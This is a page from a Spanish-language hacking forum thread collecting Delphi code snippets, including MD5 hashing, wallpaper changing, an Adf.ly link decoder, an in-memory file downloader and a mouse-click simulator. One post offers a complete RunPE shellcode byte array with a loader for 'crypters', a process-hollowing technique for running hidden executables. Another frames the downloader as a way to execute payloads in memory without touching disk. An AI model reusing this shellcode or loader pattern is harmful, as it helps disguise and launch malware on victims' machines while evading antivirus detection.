elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: 4n4lDetector v1.3: herramienta de análisis estático de malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General (Moderador: Eleкtro)
| | |-+  Librería de Snippets para Delphi
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Librería de Snippets para Delphi  (Leído 5,171 veces)
BDWONG

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #10 en: 6 Agosto 2015, 06:48 »

Les dejo dos funciones para obtener tanto el md5 de los ficheros como de las cadenas, las funciones fuero probadas en Delphi 2010 creo que en Delphi 7 cambia un poco la forma de obtenerlo


Código
  1. uses
  2.  SysUtils,IdHashMessageDigest, idHash,classes;
  3.  
  4. //funcin para obtener el md5 de ficheros como los .exe
  5. function FileMD5(const fileName : string) : string;
  6. var
  7.   idmd5 : TIdHashMessageDigest5;
  8.   fs : TFileStream;//Es una Clase para leer ficheros como los .exe
  9. begin
  10.   idmd5 := TIdHashMessageDigest5.Create; //creamos objeto para calcular md5
  11.   fs := TFileStream.Create(fileName, fmOpenRead OR fmShareDenyWrite) ; //stream para leer el fichero
  12.   try
  13.     result := idmd5.HashStreamAsHex(fs); //obtenemos md5 del fichero
  14.   finally
  15.   //liberamos los objetos
  16.     fs.Free;
  17.     idmd5.Free;
  18.   end
  19. end;
  20.  
  21.  
  22. //funcion para obtener el md5 de cualquier string
  23. function StringMd5(const data : string) : string;
  24. var
  25.   idmd5 : TIdHashMessageDigest5;
  26. begin
  27.   idmd5 := TIdHashMessageDigest5.Create;//creamos el objeto
  28.   try
  29.     result := idmd5.HashStringAsHex(data);//retornamos el md5 del string
  30.   finally
  31.     idmd5.Free;//liberamos el objeto
  32.   end
  33. end;
  34.  
  35.  
  36. var
  37. ruta,strMd5,cadena:string;
  38. begin
  39.  ruta:='C:\project1.exe';  //ruta del fichero
  40.  strMd5:=FileMD5(ruta); //obtenemos md5
  41.  writeln('El md5 del fichero es ',strMd5);//lo mostramos
  42.  
  43.  
  44.  {-------------------------------------------}
  45.  
  46.  cadena:='hola mundo';//cadena a calcular md5
  47.  strMd5:=StringMd5(cadena);//obtenemos su md5
  48.  writeln('El md5 del string  es ',strMd5);//lo mostramos
  49.  
  50.  readln;
  51. end.


En línea

crack81

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #11 en: 14 Agosto 2015, 03:56 »

Funcion para cambiar el fondo al escritorio utilizando la api de windows

Código
  1. uses
  2.  SysUtils,
  3.  windows;
  4.  
  5. function cambiarFondo(const imagen:string):boolean;
  6. begin
  7.   Result:=SystemParametersInfo(20,0,@imagen[1],0);
  8. end;
  9.  
  10. var
  11. foto:string;
  12. begin
  13. writeln(cambiarFondo('image.bmp'));
  14. writeln('Imagen cambiada');
  15. readln;
  16. end.


Otra alternativa para cambiar el fondo de un escritorio pero ahora utilizando  la interfaz IActiveDesktop

Código
  1. uses
  2.  SysUtils,
  3.  ComObj,ShlObj,ActiveX,windows;
  4.  
  5. function ChangeWallpaper(const Image: widestring): Boolean;
  6. const
  7.  CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';
  8. var
  9.  ADesktop: IActiveDesktop;
  10. begin
  11.  CoInitialize(nil);
  12.  ADesktop     := CreateComObject(CLSID_ActiveDesktop)as IActiveDesktop;
  13.  try
  14.    ADesktop.SetWallpaper(pwidechar(Image), 0);
  15.    ADesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);
  16.  finally
  17.    CoUninitialize;
  18.  end;
  19.  Result:=True;
  20. end;
  21.  
  22. begin
  23.   ChangeWallpaper('C:\image.bmp');
  24.   Writeln('Imagen cambiada');
  25.   Readln;
  26. end.
  27.  
  28.  


En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
crack81

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #12 en: 18 Septiembre 2015, 01:50 »

Funcion para decodificar una url del servicio Adf.ly
uso: le pamos la url codificada y nos retorna la original, ojo para usar esta funcion se necesita conexion  a internet.


Código
  1. uses
  2.  SysUtils,
  3.  IdHTTP,
  4.  IdCoderMIME;
  5.  
  6. function DecodeAdFly(const url:string):string;
  7. var
  8. http:TIdHTTP;
  9. content,data,urlFinal,part1,part2:string;
  10. pos1,pos2,i,npos:integer;
  11. const
  12. STRINGKEY='ysmm = ';
  13. begin
  14.  urlFinal:='';
  15.  i:=1;
  16.  http:=TIdHTTP.Create(nil);
  17.  try
  18.    content:=http.Get(url);//obtenemos el codigo html
  19.    pos1:=pos(STRINGKEY,content);//encontramos el ysmm =
  20.    pos2:=1;
  21.    npos:=pos1;
  22.    while(content[npos]<>';')do//recorremos el content hasta encontrar el ';'
  23.    begin
  24.      inc(npos);
  25.      inc(pos2);//el pos2 nos dira cuantos caracteres tiene el ysmm
  26.    end;
  27.    //data alamcenrar la cadena de ysmm
  28.    data:=copy(content,pos1+length(STRINGKEY)+1,pos2-length(STRINGKEY)-3);
  29.    while(i<=length(data)) do //filtramos la cadena llamada data
  30.    begin
  31.      part1:=part1+data[i];
  32.      part2:=data[i+1]+part2;
  33.      i:=i+2;
  34.    end;
  35.    urlFinal:=TIdDecoderMIME.DecodeString(part1+part2);//los desciframos con base64
  36.    Result:=copy(urlFinal,3,length(urlFinal)-2);//retornamos la url original
  37.  finally
  38.    http.Free; //liberamos el objeto creado arriba
  39.  end;
  40. end;
  41.  
  42. var
  43. url:string;
  44. begin
  45.  url:=DecodeAdFly('http://adf.ly/dLgCS');
  46.  writeln(url);
  47.  readln;
  48. end.
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
crack81

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #13 en: 25 Octubre 2015, 20:28 »

Para lo  que les gusta el tema de los crypter les traigo un runpe en modo shellcode
y como usarlo

Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4. //shellcode del runPE  uso y parametros: runPE(path:pwidechar; bufferExe:pointer):cardinal;
  5. Const
  6.  Shell: Array [0 .. 1287] Of Byte = ($60, $E8, $4E, $00, $00, $00, $6B, $00, $65, $00, $72, $00, $6E, $00, $65, $00, $6C, $00, $33, $00, $32, $00, $00, $00, $6E, $00, $74, $00, $64, $00, $6C, $00,
  7.    $6C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
  8.    $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $5B, $8B, $FC, $6A, $42, $E8, $BB, $03, $00, $00, $8B, $54, $24, $28, $89, $11, $8B, $54, $24, $2C, $6A, $3E, $E8, $AA, $03, $00,
  9.    $00, $89, $11, $6A, $4A, $E8, $A1, $03, $00, $00, $89, $39, $6A, $1E, $6A, $3C, $E8, $9D, $03, $00, $00, $6A, $22, $68, $F4, $00, $00, $00, $E8, $91, $03, $00, $00, $6A, $26, $6A, $24, $E8, $88,
  10.    $03, $00, $00, $6A, $2A, $6A, $40, $E8, $7F, $03, $00, $00, $6A, $2E, $6A, $0C, $E8, $76, $03, $00, $00, $6A, $32, $68, $C8, $00, $00, $00, $E8, $6A, $03, $00, $00, $6A, $2A, $E8, $5C, $03, $00,
  11.    $00, $8B, $09, $C7, $01, $44, $00, $00, $00, $6A, $12, $E8, $4D, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $79, $03, $00, $00, $6A, $3E, $E8, $3B, $03, $00, $00, $8B, $D1, $6A, $1E, $E8,
  12.    $32, $03, $00, $00, $6A, $40, $FF, $32, $FF, $31, $FF, $D0, $6A, $12, $E8, $23, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $4F, $03, $00, $00, $6A, $1E, $E8, $11, $03, $00, $00, $8B, $09,
  13.    $8B, $51, $3C, $6A, $3E, $E8, $05, $03, $00, $00, $8B, $39, $03, $FA, $6A, $22, $E8, $FA, $02, $00, $00, $8B, $09, $68, $F8, $00, $00, $00, $57, $51, $FF, $D0, $6A, $00, $E8, $E8, $02, $00, $00,
  14.    $68, $88, $FE, $B3, $16, $51, $E8, $14, $03, $00, $00, $6A, $2E, $E8, $D6, $02, $00, $00, $8B, $39, $6A, $2A, $E8, $CD, $02, $00, $00, $8B, $11, $6A, $42, $E8, $C4, $02, $00, $00, $57, $52, $6A,
  15.    $00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00, $6A, $00, $FF, $31, $FF, $D0, $6A, $12, $E8, $A9, $02, $00, $00, $68, $D0, $37, $10, $F2, $51, $E8, $D5, $02, $00, $00, $6A, $22, $E8, $97,
  16.    $02, $00, $00, $8B, $11, $6A, $2E, $E8, $8E, $02, $00, $00, $8B, $09, $FF, $72, $34, $FF, $31, $FF, $D0, $6A, $00, $E8, $7E, $02, $00, $00, $68, $9C, $95, $1A, $6E, $51, $E8, $AA, $02, $00, $00,
  17.    $6A, $22, $E8, $6C, $02, $00, $00, $8B, $11, $8B, $39, $6A, $2E, $E8, $61, $02, $00, $00, $8B, $09, $6A, $40, $68, $00, $30, $00, $00, $FF, $72, $50, $FF, $77, $34, $FF, $31, $FF, $D0, $6A, $36,
  18.    $E8, $47, $02, $00, $00, $8B, $D1, $6A, $22, $E8, $3E, $02, $00, $00, $8B, $39, $6A, $3E, $E8, $35, $02, $00, $00, $8B, $31, $6A, $22, $E8, $2C, $02, $00, $00, $8B, $01, $6A, $2E, $E8, $23, $02,
  19.    $00, $00, $8B, $09, $52, $FF, $77, $54, $56, $FF, $70, $34, $FF, $31, $6A, $00, $E8, $10, $02, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $3C, $02, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $12,
  20.    $E8, $F9, $01, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $25, $02, $00, $00, $6A, $22, $E8, $E7, $01, $00, $00, $8B, $11, $83, $C2, $06, $6A, $3A, $E8, $DB, $01, $00, $00, $6A, $02, $52, $51,
  21.    $FF, $D0, $6A, $36, $E8, $CE, $01, $00, $00, $C7, $01, $00, $00, $00, $00, $B8, $28, $00, $00, $00, $6A, $36, $E8, $BC, $01, $00, $00, $F7, $21, $6A, $1E, $E8, $B3, $01, $00, $00, $8B, $11, $8B,
  22.    $52, $3C, $81, $C2, $F8, $00, $00, $00, $03, $D0, $6A, $3E, $E8, $9F, $01, $00, $00, $03, $11, $6A, $26, $E8, $96, $01, $00, $00, $6A, $28, $52, $FF, $31, $6A, $12, $E8, $8A, $01, $00, $00, $68,
  23.    $5B, $E8, $14, $CF, $51, $E8, $B6, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $26, $E8, $73, $01, $00, $00, $8B, $39, $8B, $09, $8B, $71, $14, $6A, $3E, $E8, $65, $01, $00, $00, $03, $31, $6A,
  24.    $26, $E8, $5C, $01, $00, $00, $8B, $09, $8B, $51, $0C, $6A, $22, $E8, $50, $01, $00, $00, $8B, $09, $03, $51, $34, $6A, $46, $E8, $44, $01, $00, $00, $8B, $C1, $6A, $2E, $E8, $3B, $01, $00, $00,
  25.    $8B, $09, $50, $FF, $77, $10, $56, $52, $FF, $31, $6A, $00, $E8, $2A, $01, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $56, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $36, $E8, $13, $01, $00,
  26.    $00, $8B, $11, $83, $C2, $01, $89, $11, $6A, $3A, $E8, $05, $01, $00, $00, $8B, $09, $3B, $CA, $0F, $85, $33, $FF, $FF, $FF, $6A, $32, $E8, $F4, $00, $00, $00, $8B, $09, $C7, $01, $07, $00, $01,
  27.    $00, $6A, $00, $E8, $E5, $00, $00, $00, $68, $D2, $C7, $A7, $68, $51, $E8, $11, $01, $00, $00, $6A, $32, $E8, $D3, $00, $00, $00, $8B, $11, $6A, $2E, $E8, $CA, $00, $00, $00, $8B, $09, $52, $FF,
  28.    $71, $04, $FF, $D0, $6A, $22, $E8, $BB, $00, $00, $00, $8B, $39, $83, $C7, $34, $6A, $32, $E8, $AF, $00, $00, $00, $8B, $31, $8B, $B6, $A4, $00, $00, $00, $83, $C6, $08, $6A, $2E, $E8, $9D, $00,
  29.    $00, $00, $8B, $11, $6A, $46, $E8, $94, $00, $00, $00, $51, $6A, $04, $57, $56, $FF, $32, $6A, $00, $E8, $86, $00, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $B2, $00, $00, $00, $83, $C4, $0C,
  30.    $FF, $D0, $6A, $22, $E8, $6F, $00, $00, $00, $8B, $09, $8B, $51, $28, $03, $51, $34, $6A, $32, $E8, $60, $00, $00, $00, $8B, $09, $81, $C1, $B0, $00, $00, $00, $89, $11, $6A, $00, $E8, $4F, $00,
  31.    $00, $00, $68, $D3, $C7, $A7, $E8, $51, $E8, $7B, $00, $00, $00, $6A, $32, $E8, $3D, $00, $00, $00, $8B, $D1, $6A, $2E, $E8, $34, $00, $00, $00, $8B, $09, $FF, $32, $FF, $71, $04, $FF, $D0, $6A,
  32.    $00, $E8, $24, $00, $00, $00, $68, $88, $3F, $4A, $9E, $51, $E8, $50, $00, $00, $00, $6A, $2E, $E8, $12, $00, $00, $00, $8B, $09, $FF, $71, $04, $FF, $D0, $6A, $4A, $E8, $04, $00, $00, $00, $8B,
  33.    $21, $61, $C3, $8B, $CB, $03, $4C, $24, $04, $C3, $6A, $00, $E8, $F2, $FF, $FF, $FF, $68, $54, $CA, $AF, $91, $51, $E8, $1E, $00, $00, $00, $6A, $40, $68, $00, $10, $00, $00, $FF, $74, $24, $18,
  34.    $6A, $00, $FF, $D0, $FF, $74, $24, $14, $E8, $CF, $FF, $FF, $FF, $89, $01, $83, $C4, $10, $C3, $E8, $22, $00, $00, $00, $68, $A4, $4E, $0E, $EC, $50, $E8, $4B, $00, $00, $00, $83, $C4, $08, $FF,
  35.    $74, $24, $04, $FF, $D0, $FF, $74, $24, $08, $50, $E8, $38, $00, $00, $00, $83, $C4, $08, $C3, $55, $52, $51, $53, $56, $57, $33, $C0, $64, $8B, $70, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E,
  36.    $08, $8B, $7E, $20, $8B, $36, $38, $47, $18, $75, $F3, $80, $3F, $6B, $74, $07, $80, $3F, $4B, $74, $02, $EB, $E7, $8B, $C5, $5F, $5E, $5B, $59, $5A, $5D, $C3, $55, $52, $51, $53, $56, $57, $8B,
  37.    $6C, $24, $1C, $85, $ED, $74, $43, $8B, $45, $3C, $8B, $54, $28, $78, $03, $D5, $8B, $4A, $18, $8B, $5A, $20, $03, $DD, $E3, $30, $49, $8B, $34, $8B, $03, $F5, $33, $FF, $33, $C0, $FC, $AC, $84,
  38.    $C0, $74, $07, $C1, $CF, $0D, $03, $F8, $EB, $F4, $3B, $7C, $24, $20, $75, $E1, $8B, $5A, $24, $03, $DD, $66, $8B, $0C, $4B, $8B, $5A, $1C, $03, $DD, $8B, $04, $8B, $03, $C5, $5F, $5E, $5B, $59,
  39.    $5A, $5D, $C3, $C3, $00, $00, $00, $00);
  40.  
  41.  
  42. //Funcion para leer un archivo binario y guardarlo dentro de una cadena
  43. Function mFileToStr(Ruta: string): string;
  44. var
  45. sFile: HFile;
  46. uBytes: Cardinal;
  47. begin
  48. sFile:= _lopen(PChar(Ruta), OF_READ);
  49. uBytes:= GetFileSize(sFile, nil);
  50. SetLength(Result, uBytes);
  51. _lread(sfile, @result[1], uBytes);
  52. _lclose(sFile);
  53. end;
  54.  
  55. var
  56. buffer:string;
  57. szFilePath:array[1..1024]of widechar;
  58.  
  59. begin
  60.  buffer:=mFileToStr('C:\bcb6kg.EXE'); //Leemos el fichero que queremos usar
  61.  GetModuleFileNameW(0,@szFilePath[1],1024); //GetModuleFileNameW equivalente al paramstr(0) pero unicode
  62.  writeln(pwidechar(widestring(szFilePath))); //mostramos la direccion actual del proyecto principal
  63.  
  64.  //el problema de llamado consistia en que el path tenia que ser unicode y yo lo manejaba como si fuera ascii
  65.  CallWindowProcW(@shell[0],hwnd(@szFilePath[1]),cardinal(@buffer[1]),0,0);//ejecutamos el shellcode
  66.  readln;
  67. end.
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
crack81

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #14 en: 20 Febrero 2016, 02:22 »

Funcion downloadFileBuffer

Hola despues de lo comentado en el foro hermano indetectables.net sobre la funcion URLOpenBlockingStream he decicido hacer mi implementacion en Delphi
bueno esta funcion lo que hace es descargar un fichero pero en vez de escribirlo en disco lo guarda en un buffer en memoria.

Bueno el uso que le demos puede ser variado ya que si queremos podemos escribir el contenido de ese buffer o ejecutarlo en memoria sin que toque disco.
el ejemplo viene con un simple ejemplo, me imagino que el va usar este ejemplo ya sabe como ejecutar un fichero en memoria o crear un nuevo fichero a travez de el
si tienen dudas sobre algo me avisan.

Código
  1. uses
  2.  SysUtils,ActiveX,URLMon;
  3.  
  4. type
  5. TBuffer=Array of Byte;
  6.  
  7. Function downloadFileBuffer(const URL:String):TBuffer;
  8. var
  9. stream:IStream;
  10. sizeFile,sizeSet,bytesWritten:Int64;
  11. buffer:TBuffer;
  12. begin
  13. Result:=nil;
  14. if URLOpenBlockingStream (nil,pchar(URL),stream,0,nil)=S_OK then
  15. begin
  16.     stream.Seek(0,STREAM_SEEK_END,sizeFile);
  17.     SetLength(buffer,sizeFile);
  18.     stream.Seek(0,STREAM_SEEK_SET,sizeSet);
  19.     stream.Read(@buffer[0],sizeFile,@bytesWritten);
  20.     Result:=buffer;
  21. end;
  22. end;
  23.  
  24. var
  25. url:String;
  26. buffer:TBuffer;
  27. begin
  28.  url:='http://i67.tinypic.com/2v8lv88.png';
  29.  buffer:=downloadFileBuffer(url);
  30.  
  31.  if buffer<>nil then
  32.     Writeln('Tamano del fichero leido ',Length(buffer))
  33.  else
  34.     Writeln('Hubo un error ');
  35.  
  36.  Readln;
  37. end.
  38.  

El codigo ha sido probado en delphi 7

Saludos....
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
crack81

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: Librería de Snippets para Delphi
« Respuesta #15 en: 25 Marzo 2016, 18:39 »

[simulateClick] Funcion que simula el dar un click con el raton usando la api de windows y la version de delphi 2010

Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4. //Simula el click del raton
  5. //parametros
  6. //integer x,y: coordeandas donde queremos hacer click
  7. //Result: retornar cuantos eveentos fueron ejectuados en este caso 2
  8. function simulateClick(const x,y:Integer):Integer;
  9. var
  10. point:TPoint;
  11. input:array[0..1]of TInput;
  12. begin
  13.   GetCursorPos(point);   //gurdamos coordenadas actuales
  14.   SetCursorPos(x,y);     //colocamos el puntero en la posicion seleccionada
  15.   ZeroMemory(@input,sizeof(input)); //rellenamos de ceros el arreglo de TInput
  16.  
  17.   //configuramos el evento para oprimir con el boton izquierdo del raton
  18.   input[0].Itype:=INPUT_MOUSE;
  19.   input[0].mi.dx:=x;
  20.   input[0].mi.dx:=y;
  21.   input[0].mi.dwFlags:=MOUSEEVENTF_LEFTDOWN;
  22.  
  23.   //configuramos el evento para soltar el mouse con  el boton izquierdo del raton
  24.   input[1].Itype:=INPUT_MOUSE;
  25.   input[1].mi.dx:=x;
  26.   input[1].mi.dx:=y;
  27.   input[1].mi.dwFlags:=MOUSEEVENTF_LEFTUP;
  28.  
  29.   //Ejecutamos los dos eventos anteriores
  30.   Result:=SendInput(2,tagInput(input[0]),sizeof(TInput));
  31.   //Restauramos las coordenadas originales(simula que no se movio el raton)
  32.   SetCursorPos(point.X,point.Y);
  33. end;
  34.  
  35.  
  36. //Imprime la posicion X y Y actual del cursor
  37. //conveniente usarlo dentro de un while inifito para saber las coordenadas
  38. //al momento de mover el raton
  39. procedure printPosition;
  40. var point:TPoint;
  41. begin
  42.   GetCursorPos(point);
  43.   Writeln(point.X,' x ',point.Y);
  44. end;
  45. //Main del programa
  46. begin
  47.   simulateClick(20,882);
  48.   Writeln('Click simulado');
  49. end.
  50.  
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines